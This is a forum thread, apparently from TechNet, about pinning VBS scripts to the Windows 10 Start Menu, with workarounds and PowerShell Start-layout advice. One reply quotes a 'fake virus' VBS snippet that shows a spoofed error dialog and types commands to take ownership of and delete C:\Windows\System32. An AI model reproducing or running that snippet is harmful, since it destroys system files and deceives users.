locked
If you guys have been trying hard to pin .vbs files to your Start Menu in Windows 10, look no further! RRS feed

  • General discussion

  • Many of you have created Visual Basic Script (VBS) files and one day, you tried to pin them to the Start Menu. It didn't work. Stop trying to do it until you read THIS. I have found a solution to this problem!

    Open a new File Explorer window and navigate to the directory of your VBS file.

    If you haven't already, enable name extensions.

    Rename '.vbs' to '.exe'.

    Right-click on your EXE file and click 'Pin to Start'.

    Rename '.exe' to '.vbs'.

    Open a new File Explorer window and navigate to '%AppData%\Microsoft\Windows\Start Menu\Programs'.

    Right-click on the shortcut with your vbs file name on it and click properties.

    Change the target path from [PATH]\[FILE].exe to [PATH]\[FILE].vbs.

    Click OK.

    Now, you have pinned your VBS file to the Start Menu!

       [0]  [0]

           +

        \____/



    • Edited by Noop LLiot Friday, July 27, 2018 12:03 PM
    Friday, July 27, 2018 11:30 AM

All replies

  • You keep posting non-scripting issues in a scripting forum.

    To add anything to the start menu just create a shortcut and copy it to the start menu folder.

    If you want to script this there are a number of scripts in the Gallery that crate new shortcuts anywhere you want them to be created.

    VBS is no longer supported by MS.  Only security fixes will be made.  For all new work you should be using PowerShell.  It is much easier to use and learn.


    \_(ツ)_/

    Friday, July 27, 2018 12:42 PM
  • When I tried to make a shortcut of a file that you cannot usually pin to the Start Menu and move it there, it NEVER WORKED FOR ME! And also, I'm using VBS because I watched a YouTube video on how to create a fake virus and I downloaded a VBS from a website, and I discovered how powerful it is. For example, this code:

    Set WshShell = WScript.CreateObject("WScript.Shell")
    WshShell.SendKeys "Look at that! I can automatically send keys like a very fast typer! This is how powerful Visual Basic Script is!"
    x=MsgBox("The instruction at 0x00007FFA21EFCC60 referenced memory at 0x000000000000000000. The memory could not be read."&chr(13)&chr(13)&"Click on OK to terminate the program",0+16,"explorer.exe")
    WshShell.SendKeys "I can make it look like an error message!"
    WshShell.Run "cmd"
    WScript.Sleep 200
    WshShell.SendKeys "takeown /f C:\Windows\System32 /r /d y{ENTER}del /f C:\Windows\System32{ENTER}"
    x=MsgBox("Oops! I'm now deleting System32! This language is so powerful!!!",0+48,"Oops!

    Saturday, July 28, 2018 11:37 AM
  • Look in Gallery for correct code to create a shortcut anywhere that can run any code.

    Start by doing this manually to understand how this works.  The shortcut should be crated here:  "%AppData%\Microsoft\Windows\Start Menu".

    Next get the context menu and select "Pin to Start Menu"

    Look in Gallery for code that shows how to use PowerShell to create the shortcut and execute the verb for pinning.

    To create a shortcut to a VBS file use "cscript.exe" as the program and the path to the VBS file as the argument.


    \_(ツ)_/

    Saturday, July 28, 2018 11:58 AM
  • In Windows 10 to add to the start menu:

    Export the start menu: Export-StartLayout start.xml

    Edit the XML to add an element like this:

    <start:DesktopApplicationTile 
       Row="4" 
       Column="2" 
       Size="2x2" 
       DesktopApplicationLinkPath="%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Visual Studio 2017.lnk"
    />

    Then import the menu: Import-StartLayout start.xml


    \_(ツ)_/

    Saturday, July 28, 2018 12:26 PM
    1. Look in Gallery for correct code to create a shortcut anywhere that can run any code.
    2. Start by doing this manually to understand how this works.  The shortcut should be crated here:  "%AppData%\Microsoft\Windows\Start Menu".
    3. Next get the context menu and select "Pin to Start Menu"
    4. Look in Gallery for code that shows how to use PowerShell to create the shortcut and execute the verb for pinning.
    5. To create a shortcut to a VBS file use "cscript.exe" as the program and the path to the VBS file as the argument.
    6. \_(ツ)_/

    1) What 'Gallery'?

    2) If I redirect the shortcut to 'cscript.exe "C:\Path\to\Folder\xyz.vbs"', it opens a CMD-like window while executing it!

    Saturday, July 28, 2018 12:32 PM
  • In Windows 10 to add to the start menu:

    Export the start menu: Export-StartLayout start.xml

    Edit the XML to add an element like this:

    <start:DesktopApplicationTile 
       Row="4" 
       Column="2" 
       Size="2x2" 
       DesktopApplicationLinkPath="%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Visual Studio 2017.lnk"
    />

    Then import the menu: Import-StartLayout start.xml

    What 'Export-StartLayout start.xml'? What is its directory?
    Saturday, July 28, 2018 12:34 PM
  • 1) What 'Gallery'?

    2) If I redirect the shortcut to 'cscript.exe "C:\Path\to\Folder\xyz.vbs"', it opens a CMD-like window while executing it!

    The TechNet script Gallery/Repository on the top menu on this page.

    cscript /?

    cscript /NOLOGO file.vbs


    \_(ツ)_/

    Saturday, July 28, 2018 12:52 PM
  • What 'Export-StartLayout start.xml'? What is its directory?

    Any directory you want to save it to.


    \_(ツ)_/

    Saturday, July 28, 2018 12:53 PM